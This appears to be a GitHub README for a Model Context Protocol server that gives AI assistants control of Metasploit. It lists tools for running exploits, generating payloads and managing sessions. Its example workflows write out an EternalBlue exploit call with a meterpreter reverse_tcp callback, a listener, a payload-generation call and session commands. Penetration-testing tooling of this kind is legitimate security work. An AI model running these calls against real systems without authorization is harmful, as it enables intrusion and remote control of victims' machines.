Documentation
Metasploit MCP Server
A Model Context Protocol (MCP) server for Metasploit Framework integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Description
This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
Features
Module Information
- list_exploits: Search and list available Metasploit exploit modules
- list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering
Exploitation Workflow
- run_exploit: Configure and execute an exploit against a target with options to run checks first
- run_auxiliary_module: Run any Metasploit auxiliary module with custom options
- run_post_module: Execute post-exploitation modules against existing sessions
Payload Generation
- generate_payload: Generate payload files using Metasploit RPC (saves files locally)
Session Management
- list_active_sessions: Show current Metasploit sessions with detailed information
- send_session_command: Run a command in an active shell or Meterpreter session
- terminate_session: Forcefully end an active session
Handler Management
- list_listeners: Show all active handlers and background jobs
- start_listener: Create a new multi/handler to receive connections
- stop_job: Terminate any running job or handler
Prerequisites
- Metasploit Framework installed and msfrpcd running
- Python 3.10 or higher
- Required Python packages (see requirements.txt)
Installation
1. Clone this repository
2. Install dependencies:
pip install -r requirements.txt3. Configure environment variables (optional):
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloadsUsage
Start the Metasploit RPC service:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553Transport Options
The server supports two transport methods:
- HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
- STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections
You can explicitly select the transport mode using the `--transport` flag:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdioAdditional options for HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085Claude Desktop Integration
For Claude Desktop integration, configure `claude_desktop_config.json`:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}Other MCP Clients
For other MCP clients that use HTTP/SSE:
1. Start the server in HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 80852. Configure your MCP client to connect to:
Security Considerations
⚠️ IMPORTANT SECURITY WARNING:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
- Always validate and review all commands before execution
- Only run in segregated test environments or with proper authorization
- Be aware that post-exploitation commands can result in significant system modifications
Example Workflows
Basic Exploitation
1. List available exploits: `list_exploits("ms17_010")`
2. Select and run an exploit: `run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})`
3. List sessions: `list_active_sessions()`
4. Run commands: `send_session_command(1, "whoami")`
Post-Exploitation
1. Run a post module: `run_post_module("windows/gather/enum_logged_on_users", 1)`
2. Send custom commands: `send_session_command(1, "sysinfo")`
3. Terminate when done: `terminate_session(1)`
Handler Management
1. Start a listener: `start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)`
2. List active handlers: `list_listeners()`
3. Generate a payload: `generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})`
4. Stop a handler: `stop_job(1)`
Configuration Options
Payload Save Directory
By default, payloads generated with `generate_payload` are saved to a `payloads` directory in your home folder (`~/payloads` or `C:\Users\YourUsername\payloads`). You can customize this location by setting the `PAYLOAD_SAVE_DIR` environment variable.
Setting the environment variable:
- Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"- Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads- Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads- In Claude Desktop config:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

Frequently asked questions
What is MetasploitMCP?
MetasploitMCP is MCP Server for Metasploit
How do I install MetasploitMCP?
Open the GitHub repository and follow its README. Most MCP servers are added to your client's MCP config, then called by your agent.
Is MetasploitMCP open source?
Yes — it is hosted on GitHub at https://github.com/fishke22/MetasploitMCP and has 1 stars.
